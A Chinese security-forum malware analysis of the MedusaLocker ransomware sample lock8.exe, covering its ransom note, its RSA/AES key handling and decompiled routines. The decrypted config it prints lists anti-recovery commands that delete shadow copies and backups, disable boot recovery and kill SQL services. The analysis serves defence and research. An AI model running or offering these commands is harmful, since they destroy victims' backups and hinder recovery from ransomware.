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[原创]【病毒分析】深入剖析MedusaLocker勒索家族：从密钥生成到文件加密的全链路解析
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发表于: 2025-2-14 09:35
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1.背景
1.1 家族介绍
MedusaLocker 家族首次于 2019 年 9 月出现，MedusaLocker 家族通常通过有漏洞的远程桌面协议（RDP）配置获取受害者设备访问权限，攻击者还经常使用电子邮件钓鱼和垃圾邮件活动——直接将勒索软件附加到电子邮件中——作为初始入侵渠道。
MedusaLocker 会对受害者的数据进行加密，并在每个包含加密文件的文件夹中留下勒索信。勒索信要求受害者向特定的比特币钱包地址支付赎金。根据观察，MedusaLocker 似乎采用勒索软件即服务（RaaS）模型运营。典型的 RaaS 模型包括勒索软件开发者与负责在受害者系统上部署勒索软件的附属公司。MedusaLocker 的赎金支付通常会在附属公司之间分配，附属公司会获得 55% 到 60% 的赎金，剩余部分则交给开发者。
1.2 平台介绍
MedusaLocker家族提供两个暗网地址：一个是博客，另一个是聊天室。博客中留有Tox联系方式，并会公开所有受害者的信息，点击特定受害者后，可以查看其详细的泄露数据和赎金要求；聊天室则要求输入ID和联系邮箱，且支持上传一个被加密的文件进行测试。提交后，系统将为受害者生成一个独立的聊天室，供其与MedusaLocker家族进行私密交流，其他人无法查看该对话内容。
1.2.1 博客首页
博客首页
数据详情页
1.2.1 聊天室页
加载进入聊天室
成功创建独立聊天室
独立聊天室页面
2.恶意文件基础信息
2.1 加密器基本信息
| 文件名 | lock8.exe |
|---|---|
| 编译器 | Microsoft Visual C/C++(19.36.33523)[LTCG/C++] |
| 大小 | 419.5 KB |
| 操作系统 | Windows(Vista)[AMD64, 64位, Console] |
| 模式 | 64 位 |
| 类型 | EXEC |
| 字节序 | LE |
| MD5 | 7d08b5bcfcb0170f82820785944f30fb |
| SHA1 | 854443513882ca2837d4ff30eca7143ec3e06b4d |
| SHA256 | 33ca49acd304ed65753aced17aab019143d04c59bb3082b3f74f0376bf4ef2c8 |
2.2 勒索信
1 |
YOUR COMPANY NETWORK HAS BEEN PENETRATED! All your important files have been encrypted! Your files are safe! Only modified. (RSA+AES) ANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE WILL PERMANENTLY CORRUPT IT. DO NOT MODIFY ENCRYPTED FILES. DO NOT RENAME ENCRYPTED FILES. No software available on internet can help you. We are the only ones able to solve your problem. We gathered highly confidential/personal data. These data are currently stored on a private server. This server will be immediately destroyed after your payment. If you decide to not pay, we will release your data to public or re-seller. So you can expect your data to be publicly available in the near future.. We only seek money and our goal is not to damage your reputation or prevent your business from running. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. pomocit07@kanzensei.top pomocit07@surakshaguardian.com To contact us, create a new free email account on the site: https://protonmail.com YOU DON'T CONTACT US WITHIN 72 HOURS, PRICE WILL BE HIGHER. TOR LINK>>>>>>>>>
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3.加密后文件分析
3.1威胁分析
| 病毒家族 | medusalocker |
|---|---|
| 首次出现时间/捕获分析时间 | 2024/11/19 || 2025/1/14 |
| 威胁类型 | 勒索软件，加密病毒 |
| 加密文件扩展名 | .lock8 |
| 勒索信文件名 | How_to_back_files.txt |
| 有无免费解密器？ | 无 |
| 联系邮箱 | pomocit07@surakshaguardian.com |
| 检测名称 | Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W))，Cylance（Unsafe），DeepInstinct（MALICIOUS），Emsisoft（Gen:Variant.Tedy.512515 (B)），ESET-NOD32（A Variant Of MSIL/Filecoder.LU），GData（Gen:Variant.Tedy.512515）， Ikarus （Trojan.MSIL.Crypt），K7GW（Trojan ( 0052f4e41 )） |
| 感染症状 | 无法打开存储在计算机上的文件，以前功能的文件现在具有不同的扩展名（例如，solar.docx.lock8）。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金（通常以比特币）来解锁您的文件。 |
| 感染方式 | 受感染的电子邮件附件（宏）、恶意广告、漏洞利用、恶意链接 |
| 受灾影响 | 所有文件都经过加密，如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |
3.2 加密的测试文件
3.2.1 文件名
sierting.txt
3.2.2 具体内容
由于样本不加密1000字节大小以下的文件，因此手动填充测试文件增加至1000字节大小并进行加密。
3.2.3 加密文件名特征
加密文件名 = 原始文件名+lock8 ，例如：sierting.txt.lock8
3.2.4 加密文件结构
3.3 加密算法
文件加密使用了AES-ECB加密算法，对加密文件的AES密钥，采用了RSA加密。
3.3.1 AES密钥生成
KEY
通过调用CryptGenRandom函数生成密钥
3.3.2 RSA密钥生成
内置公钥：
内置rsa公钥如下
1 |
BgIAAACkAABSU0ExAAgAAAEAAQCxqoL0k0/YLfeTuPHXZiEZzVTcuPk5h0izy5IDOhdtaanwWwryebK7LqJH+fuVByE6iC/FcXp5ADHd8jFQ4Vc+QLUuVWTgkZ/tSNaK52ZEsMROdjSO29BPUNFWy9dLUKu8KmgmkBn51d4AajIox99fxyJ5YHAldMaw7JYMUi5M0THBvhEb2bjUIkQBlwpGyceOzdT/lKCL9nd6cknOiKEim/kyS59Mkw1yY8satLbB6G1DN48nEieAh258/c/leX4EFul6lhXo/MIdokzvEQRqu0w949BMybv2Eqo8/inevFo2yk3N/Eozq31gF5KiPxpy+Zgrz3mrC+nduwbPo830 |
加密aeskey的rsa公钥和私钥
调用API函数CryptGenKey生成密钥对。
3.3.4 程序执行流程
4 逆向分析
4.1 加密器逆向分析
4.1.1 初始化配置
创建作业对象
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printf_0((char *)L"[-] Context initialize...\n");
JobObjectW = CreateJobObjectW(0LL, 0LL);
hJob = JobObjectW;
if ( JobObjectW )
{
JobObjectInformation = 0;
v1 = 0.0;
v45 = 0LL;
v46 = 0LL;
v47 = 0LL;
v48 = 0LL;
v49 = 0LL;
v50 = 0LL;
v51 = 0LL;
v52 = 0LL;
v53 = 0LL;
v54 = 0;
HIDWORD(v45) = 0x2000;
if ( !SetInformationJobObject(JobObjectW, JobObjectExtendedLimitInformation, &JobObjectInformation, 0x90u) )
{
GetLastError();
printf_0((char *)L"[!] SetInformationJobObject failed 0x%X\n");
return 0;
}
}
else
{
v1 = printf_0((char *)L"[!] Job object not created\n");
}
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加载资源
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// Hidden C++ exception states: #wind=1__int64 __fastcall load_resource(__int64 a1, __int64 a2, const WCHAR **a3)
{ const WCHAR *v4; // rsi
HMODULE ModuleHandleW; // rax
HMODULE v6; // rbx
HRSRC ResourceW; // rax
HRSRC v8; // rdi
HGLOBAL Resource; // rax
const void *v10; // rbp
DWORD v11; // eax
__int64 v12; // rbx
__int64 v13; // rsi
_BYTE *v14; // rdi
_BYTE *v15; // r15
size_t v16; // r15
char *v17; // rbx
_BYTE *v18; // rax
void *Src[2]; // [rsp+28h] [rbp-30h] BYREF
__int64 v21; // [rsp+38h] [rbp-20h]
v4 = *a3;
printf_0((char *)L"[-] Get resource with id %i and type %s...\n");
ModuleHandleW = GetModuleHandleW(0LL);
v6 = ModuleHandleW;
if ( ModuleHandleW
&& (ResourceW = FindResourceW(ModuleHandleW, (LPCWSTR)0x65, v4), (v8 = ResourceW) != 0LL)
&& (Resource = LoadResource(v6, ResourceW)) != 0LL
&& (v10 = LockResource(Resource)) != 0LL )
{
v11 = SizeofResource(v6, v8);
v12 = v11;
*(_OWORD *)Src = 0LL;
v13 = 0LL;
v21 = 0LL;
if ( v11 )
{
alloc_memory(Src, v11);
v14 = Src[0];
memset(Src[0], 0, (unsigned int)v12);
v15 = &v14[v12];
Src[1] = &v14[v12];
v13 = v21;
}
else
{
v15 = Src[1];
v14 = Src[0];
}
v16 = v15 - v14;
memcpy(v14, v10, v16);
*(_BYTE *)a1 = 1;
*(_QWORD *)(a1 + 8) = 0LL;
*(_QWORD *)(a1 + 16) = 0LL;
*(_QWORD *)(a1 + 24) = 0LL;
if ( v16 )
{
if ( v16 > 0x7FFFFFFFFFFFFFFFLL )
unknown_libname_6();
alloc_memory((_QWORD *)(a1 + 8), v16);
v17 = *(char **)(a1 + 8);
memcpy(v17, v14, v16);
*(_QWORD *)(a1 + 16) = &v17[v16];
}
if ( v14 )
{
v18 = v14;
if ( (unsigned __int64)(v13 - (_QWORD)v14) >= 0x1000 )
{
v14 = (_BYTE *)*((_QWORD *)v14 - 1);
if ( (unsigned __int64)(v18 - v14 - 8) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
j_j_free(v14);
}
}
else
{
printf_0((char *)L"[!] Resource with id %i and type %s not found\n");
*(_BYTE *)a1 = 0;
*(_QWORD *)(a1 + 8) = 0LL;
*(_QWORD *)(a1 + 16) = 0LL;
*(_QWORD *)(a1 + 24) = 0LL;
}
return a1;
} |
自解密生成配置信息
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LODWORD(v145) = 0;
LODWORD(v144) = 0;
printf_0((char *)L"[-] Load settings from resource...\n");
v123 = *(_OWORD *)get_length(&v126, L"SETTINGS");
load_resource((__int64)v139, v1, (const WCHAR **)&v123);
if ( !v139[0] )
{
v6 = 0;
v3 = Block[0];
goto LABEL_180;
}
*(_QWORD *)&v123 = "PUTINHUILO1337";
*((_QWORD *)&v123 + 1) = 14LL;
v129 = v123;
v2 = xor_data((void **)&pExceptionObject, (__int64)Block, (__int64 *)&v129);
move_0(Block, v2);
debug055:00000223EA917340 aBchiperdrivesT db '{',0Ah ; DATA XREF: Stack[00000A50]:00000062440FEA90↑o
debug055:00000223EA917342 db '"bChiperDrives": true,',0Ah
debug055:00000223EA917359 db '"bHideConsole": false,',0Ah
debug055:00000223EA917370 db '"bRemoveRecycle": true,',0Ah
debug055:00000223EA917388 db '"bThreadPool": false,',0Ah
debug055:00000223EA91739E db '"nEncryptionBlockBytes": 750016,',0Ah
debug055:00000223EA9173BF db '"nEncryptionLimitBytes": 2780352,',0Ah
debug055:00000223EA9173E1 db '"nEncryptionSkipBytes": 250048,',0Ah
debug055:00000223EA917401 db '"nEncryptionType": 1,',0Ah
debug055:00000223EA917417 db '"nEncryptionTypeIO": 0,',0Ah
debug055:00000223EA91742F db '"nThreads": 0,',0Ah
debug055:00000223EA91743E db '"sEncryptedFileExtension": ".lock8",',0Ah
debug055:00000223EA917463 db '"sMasterPublicKey": "BgIAAACkAABSU0ExAAgAAAEAAQCxqoL0k0/YLfeTuPHX'
debug055:00000223EA9174A4 db 'ZiEZzVTcuPk5h0izy5IDOhdtaanwWwryebK7LqJH+fuVByE6iC/FcXp5ADHd8jFQ4'
debug055:00000223EA9174E5 db 'Vc+QLUuVWTgkZ/tSNaK52ZEsMROdjSO29BPUNFWy9dLUKu8KmgmkBn51d4AajIox9'
debug055:00000223EA917526 db '9fxyJ5YHAldMaw7JYMUi5M0THBvhEb2bjUIkQBlwpGyceOzdT/lKCL9nd6cknOiKE'
debug055:00000223EA917567 db 'im/kyS59Mkw1yY8satLbB6G1DN48nEieAh258/c/leX4EFul6lhXo/MIdokzvEQRq'
debug055:00000223EA9175A8 db 'u0w949BMybv2Eqo8/inevFo2yk3N/Eozq31gF5KiPxpy+Zgrz3mrC+nduwbPo830"'
debug055:00000223EA9175E9 db ',',0Ah
debug055:00000223EA9175EB db '"sRequirementsData": " YOUR COMPANY NETWORK HAS BEEN PENETRATED!'
debug055:00000223EA91762C db '\n\n All your important files have been encrypted!\n\n '
debug055:00000223EA91766D db ' Your files are safe! Only modified. (RSA+AES)\n\n ANY ATTEM'
debug055:00000223EA9176AE db 'PT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE\n WILL PERMAN'
debug055:00000223EA9176EF db 'ENTLY CORRUPT IT.\n DO NOT MODIFY ENCRYPTED FILES.\n DO NOT REN'
debug055:00000223EA917730 db 'AME ENCRYPTED FILES.\n\n No software available on internet can h'
debug055:00000223EA917771 db 'elp you. We are the only ones able to\n solve your problem.\n\n '
debug055:00000223EA9177B2 db ' We gathered highly confidential/personal data. These data are cu'
debug055:00000223EA9177F3 db 'rrently stored on\n a private server. This server will be immedi'
debug055:00000223EA917834 db 'ately destroyed after your payment.\n If you decide to not pay, '
debug055:00000223EA917875 db 'we will release your data to public or re-seller.\n So you can e'
debug055:00000223EA9178B6 db 'xpect your data to be publicly available in the near future..\n\n'
debug055:00000223EA9178F7 db '\n We only seek money and our goal is not to damage your reputat'
debug055:00000223EA917938 db 'ion or prevent\n your business from running.\n\n You will can s'
debug055:00000223EA917979 db 'end us 2-3 non-important files and we will decrypt it for free\n '
debug055:00000223EA9179BA db ' to prove we are able to give your files back.\n pomocit07@kanze'
debug055:00000223EA9179FB db 'nsei.top\n pomocit07@surakshaguardian.com\n To contact us, crea'
debug055:00000223EA917A3C db 'te a new free email account on the site: e24K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3M7X3!0@1L8$3&6E0j5h3W2D9i4K6u0W2j5$3!0E0i4K6g2o6L8W2)9J5y4H3`.`.
debug055:00000223EA917A7D db '\n\n YOU DON',27h,'T CONTACT US WITHIN 72 HOURS, PRICE WILL BE '
debug055:00000223EA917AB8 db 'HIGHER.\n\n TOR LINK>>>>>>>>> qd7pcafncosqfqu3ha6fcx4h6sr7tzwa'
debug055:00000223EA917AF9 db 'gzpcdcnytiw3b6varaeqv5yd.onion\n",',0Ah
debug055:00000223EA917B1C db '"sRequirementsFilename": "How_to_back_files.txt",',0Ah
debug055:00000223EA917B4E db '"vecFullEncryptionExtensions": [],',0Ah
debug055:00000223EA917B71 db '"vecPostRunCommands": [],',0Ah
debug055:00000223EA917B8B db '"vecPreRunCommands": [',0Ah
debug055:00000223EA917BA2 db '"rem Kill \"SQL\"",',0Ah
debug055:00000223EA917BB6 db '"taskkill -f -im sqlbrowser.exe",',0Ah
debug055:00000223EA917BD8 db '"taskkill -f -im sql writer.exe",',0Ah
debug055:00000223EA917BFA db '"taskkill -f -im sqlserv.exe",',0Ah
debug055:00000223EA917C19 db '"taskkill -f -im msmdsrv.exe",',0Ah
debug055:00000223EA917C38 db '"taskkill -f -im MsDtsSrvr.exe",',0Ah
debug055:00000223EA917C59 db '"taskkill -f -im sqlceip.exe",',0Ah
debug055:00000223EA917C78 db '"taskkill -f -im fdlauncher.exe",',0Ah
debug055:00000223EA917C9A db '"taskkill -f -im Ssms.exe",',0Ah
debug055:00000223EA917CB6 db '"taskkill -f -im SQLAGENT.EXE",',0Ah
debug055:00000223EA917CD6 db '"taskkill -f -im fdhost.exe",',0Ah
debug055:00000223EA917CF4 db '"taskkill -f -im ReportingServicesService.exe",',0Ah
debug055:00000223EA917D24 db '"taskkill -f -im msftesql.exe",',0Ah
debug055:00000223EA917D44 db '"taskkill -f -im pg_ctl.exe",',0Ah
debug055:00000223EA917D62 db '"taskkill -f -impostgres.exe",',0Ah
debug055:00000223EA917D81 db '"net stop MSSQLServerADHelper100",',0Ah
debug055:00000223EA917DA4 db '"net stop MSSQL$ISARS",',0Ah
debug055:00000223EA917DBC db '"net stop MSSQL$MSFW",',0Ah
debug055:00000223EA917DD3 db '"net stop SQLAgent$ISARS",',0Ah
debug055:00000223EA917DEE db '"net stop SQLAgent$MSFW",',0Ah
debug055:00000223EA917E08 db '"net stop SQLBrowser",',0Ah
debug055:00000223EA917E1F db '"net stop REportServer$ISARS",',0Ah
debug055:00000223EA917E3E db '"net stop SQLWriter",',0Ah
debug055:00000223EA917E54 db '"vssadmin.exe Delete Shadows /All /Quiet",',0Ah
debug055:00000223EA917E7F db '"wbadmin delete backup -keepVersion:0 -quiet",',0Ah
debug055:00000223EA917EAE db '"wbadmin DELETE SYSTEMSTABACKUP -deleteOldest",',0Ah
debug055:00000223EA917EDE db '"wmic.exe SHADOWCOPY /nointeractive",',0Ah
debug055:00000223EA917F04 db '"bcdedit.exe /set {default} recoverynabled No",',0Ah
debug055:00000223EA917F34 db '"bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"',0Ah
debug055:00000223EA917F74 db '],',0Ah
debug055:00000223EA917F77 db '"vecProgramFilesPath": [',0Ah
debug055:00000223EA917F90 db '"\\Microsoft SQL Server\\",',0Ah
debug055:00000223EA917FAC db '"\\Microsoft SQL Server Management Studio 18\\"',0Ah
debug055:00000223EA917FDC db '],',0Ah
debug055:00000223EA917FDF db '"vecSkipFileExtensions": [',0Ah
debug055:00000223EA917FFA db '".exe",',0Ah
debug055:00000223EA918002 db '".dll",',0Ah
debug055:00000223EA91800A db '".sys",',0Ah
debug055:00000223EA918012 db '".ini",',0Ah
debug055:00000223EA91801A db '".rdp",',0Ah
debug055:00000223EA918022 db '".lnk",',0Ah
debug055:00000223EA91802A db '".bmp",',0Ah
debug055:00000223EA918032 db '".mov",',0Ah
debug055:00000223EA91803A db '".cab",',0Ah
debug055:00000223EA918042 db '".url",',0Ah
debug055:00000223EA91804A db '".vsix",',0Ah
debug055:00000223EA918053 db '".msi",',0Ah
debug055:00000223EA91805B db '".pyc",',0Ah
debug055:00000223EA918063 db '".pyd",',0Ah
debug055:00000223EA91806B db '".vdm",',0Ah
debug055:00000223EA918073 db '".json"',0Ah
debug055:00000223EA91807B db '],',0Ah
debug055:00000223EA91807E db '"vecSkipPaths": [',0Ah
debug055:00000223EA918090 db '"C:\\perflogs",',0Ah
debug055:00000223EA9180A0 db '"C:\\Intel",',0Ah
debug055:00000223EA9180AD db '"C:\\HP",',0Ah
debug055:00000223EA9180B7 db '"C:\\AMD",',0Ah
debug055:00000223EA9180C2 db '"C:\\Dell",',0Ah
debug055:00000223EA9180CE db '"C:\\Drivers",',0Ah
debug055:00000223EA9180DD db '"C:\\inetpub",',0Ah
debug055:00000223EA9180EC db '"B:\\Boot",',0Ah
debug055:00000223EA9180F8 db '"A:\\Boot",',0Ah
debug055:00000223EA918104 db '"B:\\EFI",',0Ah
debug055:00000223EA91810F db '"A:\\EFI",',0Ah
debug055:00000223EA91811A db '"C:\\ProgramData\\AnyDesk",',0Ah
debug055:00000223EA918136 db '":\\Boot",',0Ah
debug055:00000223EA918141 db '"\\appdata\\"',0Ah
debug055:00000223EA91814F db ']',0Ah,'}'
|
配置资源中的公钥
1 |
BgIAAACkAABSU0ExAAgAAAEAAQCxqoL0k0/YLfeTuPHXZiEZzVTcuPk5h0izy5IDOhdtaanwWwryebK7LqJH+fuVByE6iC/FcXp5ADHd8jFQ4Vc+QLUuVWTgkZ/tSNaK52ZEsMROdjSO29BPUNFWy9dLUKu8KmgmkBn51d4AajIox99fxyJ5YHAldMaw7JYMUi5M0THBvhEb2bjUIkQBlwpGyceOzdT/lKCL9nd6cknOiKEim/kyS59Mkw1yY8satLbB6G1DN48nEieAh258/c/leX4EFul6lhXo/MIdokzvEQRqu0w949BMybv2Eqo8/inevFo2yk3N/Eozq31gF5KiPxpy+Zgrz3mrC+nduwbPo830 |
将配置资源中的公钥进行base64解码，以便后续加密使用
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// Hidden C++ exception states: #wind=26BOOL __fastcall sub_7FF6BE634AE0(const WCHAR **a1, __int64 a2)
{ const WCHAR *v2; // rbp
const WCHAR *v4; // rcx
BOOL result; // eax
BYTE *v6; // rdx
char *v7; // rsi
unsigned __int64 v8; // rcx
BYTE *v9; // rax
size_t v10; // rdi
BOOL v11; // esi
__int64 v12; // rbp
BYTE *v13; // rdx
unsigned __int64 v14; // rcx
size_t v15; // rdi
DWORD pcbBinary; // [rsp+60h] [rbp+8h] BYREF
v2 = *a1;
v4 = *a1;
pcbBinary = 0;
result = CryptStringToBinaryW(v4, 0, 1u, 0LL, &pcbBinary, 0LL, 0LL);
if ( !result )
return result;
v6 = *(BYTE **)a2;
v7 = *(char **)(a2 + 8);
v8 = (unsigned __int64)&v7[-*(_QWORD *)a2];
if ( pcbBinary >= v8 )
{
if ( pcbBinary <= v8 )
goto LABEL_9;
if ( (unsigned __int64)pcbBinary > *(_QWORD *)(a2 + 16) - (_QWORD)v6 )
{
sub_7FF6BE635790(a2, pcbBinary);
goto LABEL_9;
}
v10 = pcbBinary - v8;
memset(v7, 0, v10);
v9 = (BYTE *)&v7[v10];
}
else
{
v9 = &v6[pcbBinary];
}
*(_QWORD *)(a2 + 8) = v9;
LABEL_9: result = CryptStringToBinaryW(v2, 0, 1u, *(BYTE **)a2, &pcbBinary, 0LL, 0LL);
v11 = result;
if ( result )
{
v12 = *(_QWORD *)(a2 + 8);
v13 = *(BYTE **)a2;
v14 = v12 - *(_QWORD *)a2;
if ( pcbBinary >= v14 )
{
if ( pcbBinary > v14 )
{
if ( (unsigned __int64)pcbBinary <= *(_QWORD *)(a2 + 16) - (_QWORD)v13 )
{
v15 = pcbBinary - v14;
memset(*(void **)(a2 + 8), 0, v15);
*(_QWORD *)(a2 + 8) = v15 + v12;
}
else
{
sub_7FF6BE635790(a2, pcbBinary);
}
}
}
else
{
*(_QWORD *)(a2 + 8) = &v13[pcbBinary];
}
return v11;
}
return result;
} |
得到base64解码后的公钥
1 |
06 02 00 00 00 a4 00 00 52 53 41 31 00 08 00 00 01 00 01 00 b1 aa 82 f4 93 4f d8 2d f7 93 b8 f1 d7 66 21 19 cd 54 dc b8 f9 39 87 48 b3 cb 92 03 3a 17 6d 69 a9 f0 5b 0a f2 79 b2 bb 2e a2 47 f9 fb 95 07 21 3a 88 2f c5 71 7a 79 00 31 dd f2 31 50 e1 57 3e 40 b5 2e 55 64 e0 91 9f ed 48 d6 8a e7 66 44 b0 c4 4e 76 34 8e db d0 4f 50 d1 56 cb d7 4b 50 ab bc 2a 68 26 90 19 f9 d5 de 00 6a 32 28 c7 df 5f c7 22 79 60 70 25 74 c6 b0 ec 96 0c 52 2e 4c d1 31 c1 be 11 1b d9 b8 d4 22 44 01 97 0a 46 c9 c7 8e cd d4 ff 94 a0 8b f6 77 7a 72 49 ce 88 a1 22 9b f9 32 4b 9f 4c 93 0d 72 63 cb 1a b4 b6 c1 e8 6d 43 37 8f 27 12 27 80 87 6e 7c fd cf e5 79 7e 04 16 e9 7a 96 15 e8 fc c2 1d a2 4c ef 11 04 6a bb 4c 3d e3 d0 4c c9 bb f6 12 aa 3c fe 29 de bc 5a 36 ca 4d cd fc 4a 33 ab 7d 60 17 92 a2 3f 1a 72 f9 98 2b cf 79 ab 0b e9 dd bb 06 cf a3 cd f4 |
